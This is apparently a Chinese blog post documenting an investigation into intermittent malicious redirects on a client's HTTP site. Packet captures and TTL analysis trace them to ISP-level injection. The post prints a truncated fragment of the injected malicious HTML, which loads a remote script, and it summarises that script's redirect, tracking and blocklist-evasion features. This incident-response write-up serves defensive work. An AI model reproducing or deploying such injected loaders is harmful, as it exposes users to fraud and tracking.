金亚洲技术笔记

凡是过往,皆为序章。

HTT网站「挂马」排查

Posted on   » 网络安全 • 4155 words • 9 minute read

前言

本文记录了一次客户境外HTTP网站被劫持跳转非法网站的完整排查过程。从最初怀疑客户端恶意软件,到服务器全面排查,再到通过抓包分析和TTL值对比,最终锁定为ISP流量劫持。

事件起因

客户电脑微信访问搭建在境外亚马逊的http网站跳转非法网站。

0186ae89fc2afdd89d2fb90c7ff60dbf


可能性分析

  • 服务器被黑,插入恶意代码
  • 客户电脑存在恶意软件
  • 客户电脑局域网ARP欺骗
  • DNS、CDN污染
  • 服务器机房内网ARP欺骗

初步排查

  • 网站所有文件、nginx配置文件修改日期无异常;
  • 网站前端没有使用外部引用;
  • 本地多次模拟均未复现;

初步怀疑客户电脑有恶意软件(如部分国产压缩软件、壁纸、输入法等),或者局域网存在ARP欺骗。所以只给网站增加了SSL证书,并强制http跳转https。


复现

几天后,客户说再次出现恶意跳转(还是从微信里保存的http网址打开),但本地仍未复现。当天睡觉前想起这件事,想着用家里的网络能不能复现出来,手机点开http链接,跳转了恶意网站,立马就排除了客户电脑存在恶意软件和客户局域网arp欺骗。赶紧开电脑抓包分析。

恶意代码的跳转是随机出现,恶意跳转状态码是200:

恶意跳转


正常跳转状态码是301:

正常跳转



用 wireshark 抓包分析非法响应:

image-20260710161723117



非法响应关键时间线

23:52:11.938  → 客户端发起 HTTP GET 请求 (Host: xx.client.com)
23:52:11.982  → 服务器返回 HTTP 200 OK + 恶意脚本 (1151字节)
23:52:12.078  → 服务器返回 HTTP 301 Moved Permanently (Location: https://xx.client.com/)

特征 200响应(恶意) 301响应(正常)
Server头 nginx/1.30.1
Connection close keep-alive
Content-Length 1041字节 169字节
响应内容 恶意JavaScript 正常301页面

原因猜测

因为前面已经基本排除了网站代码和web服务存在恶意代码,所以猜测 可能是ARP欺骗:

  1. 同一IP返回两种不同响应:所有数据包的源IP都是 15.207.xx.59,但返回了两种完全不同的响应(200+恶意脚本 和 301+正常重定向)。
  2. 200响应缺少Server头:非法响应内容没有Server标识,这可能是攻击者故意隐藏自己的服务器信息。
  3. 响应时序异常
    • 23:52:11.982 → 服务器返回200 OK(恶意脚本)
    • 23:52:12.078 → 服务器又返回301(正常)
    • 两者间隔仅96毫秒,正常情况下服务器不会对同一个请求返回两次响应
  4. TCP序列号异常:从报文中可以看到,200响应和301响应的TCP序列号都是从1开始的,这表明它们可能来自不同的TCP会话,或者是被人为构造的。

我又测试了https,抓包结果一直正常。但仅代表网站代码中不存在恶意代码,不代表服务器运行的服务没有问题:比如nginx配置文件 sub_filter 可能被篡改,并只拦截了http请求。

上述证据都表明,网站请求在http跳转https之前被劫持,这时候应该深度排查:
1、服务器是否被入侵或配置中包含恶意代码
2、服务器是否存在恶意脚本或隐藏进程
3、服务器局域网内是否存在ARP欺骗

因为深夜在家,没有客户服务器的密钥,无法排查服务器。只能先分析恶意代码。这是非法响应内容:

<html><head><meta charset='UTF-8'><meta http-equiv='X-UA-Compatible' content='IE=Edge'><script id='spt'></script><script>!function(){var a=document,e=+new Date,n='d359006_111111111111111111111111M@24@0@1@0@+@k.hacker.com/sa/muten.js?

下载下来 muten.js 大体分析了下,功能如下:

  • 只劫持移动端;
  • 白天、夜间两套不同跳转链接池:7-22点,50%概率在两个博彩网站之间二选一跳转;22-7点,50%概率在两个色情网站之间二选一跳转(网址经常会被封,肯定会经常更换);
  • 存入 Cookie 缓存,用户下次访问同一劫持链接,访问次数+1;
  • 埋点上报:创建0像素iframe上传访问数据、渠道号给黑产后台https://xxx/r.html;
  • 51la、cnzz访问统计;
  • 域名带*则随机字符串替换,绕过域名黑名单;

无法登录服务器,便睡觉了。第二天早晨起床后,想起来手机里有服务器密钥,打开电脑想在本机和服务器同时抓包,但是未再复现。


服务器排查

到公司后,开始对服务器进行彻底排查:

  • 网站文件是否被篡改、是否存在webshell
  • nginx 配置文件 sub_filter 是否插入恶意script、验证Nginx包完整性
  • rootkit检测(rkhunter/chkrootkit)
  • 进程、隐藏进程
  • LKM/eBPF 后门
  • ARP缓存
  • 所有用户crontab定时任务
  • 系统文件、系统日志
  • 所有用户和权限、登录日志、history
  • 网络连接、端口、流量异常
  • 内核模块和驱动
  • 检查最近30天内修改的文件,md5sum校验nginx、系统文件是否篡改
  • docker容器

以上排查均未发现问题,排查幽灵隐藏PID耗费了一些时间,最后确认是短生命周期正常进程在不断创建和销毁。下一步怀疑对象:

  • 机房内网ARP欺骗
  • ISP流量劫持
  • 机房网络设备被入侵(运营商是亚马逊,机房网络设备被入侵只挂非法链接收益太低,排除)

网站未做CDN,排除CDN污染。网站第三方js或模块也可以排除,从抓包结果看,在http初响应阶段就出问题了,所以只可能是中间人攻击。

客户咬死服务器或者网站代码存在漏洞,让提供完整排查报告,整理上述材料进行自证服务器和代码安全没问题实在太繁琐、太浪费时间。既然怀疑ARP欺骗和流量劫持,那就在服务器上开启监控,等下一次恶意请求撞上,记录时间并排查问题,这样几张抓包截图就可以解释清楚。


采取措施

因为基本可以确认非服务器问题,停掉http即可解决问题,但我想找出真正原因,所以没做改动。并按照以下处理:

1. 服务器开启 arpwatch

机房HTTP ARP欺骗流程:

客户端请求 → 正常到达服务器
         服务器处理请求
         服务器返回301响应
      ┌───────┴───────┐
      ↓               ↓
   正常301        ARP欺骗者
   响应           拦截并修改响应
      ↓               ↓
   到达客户端     返回恶意200响应
      ↓               ↓
   被恶意脚本覆盖   到达客户端

针对ARP欺骗,我安装了arpwatch。


2. 服务器 tcpdump 监听80端口通讯

网络流量劫持流程:

客户端 → [网络传输] → 服务器 → [网络传输] → 客户端
              ↑                        ↑
         恶意内容被注入              服务器只返回301

这个流程,可以套用前几天的新闻《浙江一女子称网购NIKE童鞋收到空鞋盒,申请退款被拒后再买同款,根据重量差异举证,获平台支持退款》。收、发快递都称重,如果收到快递异常就去查发货出库称重记录。如果发货没问题,客户收到快递重量出现异常,就可以确定中间环节出了问题。但快递有快递公司配合,可以查出哪一步出了问题。但网络请求经过多层转发,还可能跨多个国家,不好确认中间哪个环节出了问题。下面是不同ISP服务商的 Traceroute 路由追踪:


烟台联通跳到新加坡:

image-20260710172259016


枣庄移动跳到香港:

image-20260710172401067


天津电信跳到美国跳回国又跳到新加坡:

image-20260710172848287


3. 定时任务模拟再次触发非法响应内容

写一个脚本本地运行,使用20个User-Agent,每30秒随机取一个模拟请求移动端访问,触发恶意请求后,根据时间分析服务器抓包报文。

9c5f3389ca992df6dd946da7e2e60a5b

脚本跑了两天都没有再触发恶意代码,可能当前IP没在流量劫持范围。


再次复现

在自测遥遥无期时,同事告诉我他在家也出现了恶意跳转。

IMG_1545


那个时间段ip就几个,筛选掉国外各路大神的ip吗,顺利找到同事家的ip地址,查询地址库所在市区、时间均无误。开启过滤:

image-20260710161554354

可以看到有两次请求:22:51:28 和 22:51:52,均返回了301,没有返回200。arpwatch没有任何异常,表明服务器局域网内不存在ARP欺骗。已经排除了所有可能因素,可以确定是ISP流量劫持


溯源分析

既然证明了发出的快递没有问题,客户收到的快递有异常。再次回头客户端和服务器的抓包数据,分析ttl,以便确认问题出在isp服务商。


客户端抓包TTL分析

响应类型 TTL值 长度 源IP 分析
恶意200响应 232 1191字节 15.207.xx.59 异常TTL
正常301响应 53 425字节 15.207.xx.59 正常

服务器端抓包TTL分析

响应类型 TTL值 长度 源IP 分析
所有301响应 64 373-459字节 172.31.xx.232 正常(服务器刚发出)

异常分析

TTL值 含义 正常情况
232 异常值 -
53 正常范围 数据包经过约11跳路由
64 Linux服务器默认 服务器刚发出的数据包

为什么TTL=232异常

23:52:11.797  客户端 → 服务器  SYN (TTL=64)
23:52:11.937  服务器 → 客户端  SYN+ACK (TTL=53) 正常
23:52:11.937  客户端 → 服务器  ACK (TTL=64)
23:52:11.938  客户端 → 服务器  GET / HTTP/1.1 (TTL=64)
23:52:11.982  服务器 → 客户端  HTTP 200 + 恶意JS (TTL=232) ❌注入!
23:52:12.078  服务器 → 客户端  ACK (TTL=53) 正常
23:52:12.078  服务器 → 客户端  HTTP 301 (TTL=53) 正常(真实响应)

----------------------------------------

正常路由:客户端 → 路由器 → ISP → ... → AWS → 服务器
                          经过约11跳,TTL从64减到53

异常路由:客户端 → 路由器 → ISP劫持设备 → 直接返回恶意响应
               TTL=232很可能只是攻击工具的默认值或测试值
分析汇总
  1. TTL差异巨大
    如果来自同一个服务器,TTL应该相同或接近,差异179说明来自不同设备。

  2. IP ID字段不连续

    • 正常响应的IP ID是连续递增的(29022→29023→29024)
    • 恶意响应的ID=4660,与正常序列不连续
  3. 响应内容和头部特征差异

    特征 恶意200响应 正常301响应
    状态码 200 OK 301 Moved
    Server头 nginx/1.30.1
    Connection close keep-alive

结论:存在中间人攻击,极可能是ISP/电信运营商流量劫持。


其它个人猜测:

  • 黑产不敢大批量劫持流量,会经常更换地域劫持,且就算劫持也会随机抽选终端,类似灰度测试。
  • 只劫持了境外网站,没有劫持境内网站。因为大部分境外网站在国内没有运营人员,不易发现。

解决方案

停用http,只用https。


2026-07-17 补充

每到20点开始,访问网站就开始卡顿,我想找出问题出在哪里。写了一个脚本本地监控https访问延迟,30秒探测一次、5秒超时。同时在阿里云使用多地监测延迟。


5f7858f7-bbce-49da-9801-e6fa738fa858


为了数据准确,国内、国外我分别找了两个地点,5分钟探测一次。下面是青岛:

2026-07-17_090946_452


杭州:

2026-07-17_091001_595


韩国首尔:

2026-07-17_091012_929


新加坡:

2026-07-17_091024_048


本地高延迟时间段集中在20:20-00:20,但是青岛、杭州和国外延迟并无太大波动。上面四地都选的是IDC监测,因为比较便宜,四个加起来一天才1块多钱,但本地没有IDC监测点。


为了更准确找出问题,我选择本地LastMile,监测时间段22:00-24:00(全天监测27块太贵,2小时仅需1块多)。同时本地监测继续跑。

image-20260718094517296


2026-07-18 补充

本地联通网络21:30 - 01:40高延迟:

94024c66-3d36-4ada-957f-f6f0ce1b48b5


下面是阿里云监测,本地联通LastMile:

image-20260718093932303


本地电信LastMile:

image-20260718094037669


本地移动LastMile:

image-20260718094011484


阿里云联通和移动最高延迟达到了30秒左右,因为成本问题,每5分钟监测一次,如果监测频率更高,更能说明问题。


这个实验不完美,因为劫持的随性性,所以没有复现出同时抓到客户端和服务器数据。但只有单独的、最重要的服务器抓包数据已经可以自证清白。虽然后面退而求其次,去证明本地运营商流量异常,但是通过从几个同事家里晚上访问此网站很慢或者被劫持跳转做辅证,各种证据最终指向【本地】ISP/电信运营商流量劫持:

终端访客
流量劫持
  ├─ HTTP
  │   └─ 劫持概率判断
  │        ├─ 命中:劫持服务器伪造HTTP包返回用户
  │        └─ 未命中:正常转发至源站,原生响应回传
  └─ HTTPS
      └─ 流量转发
×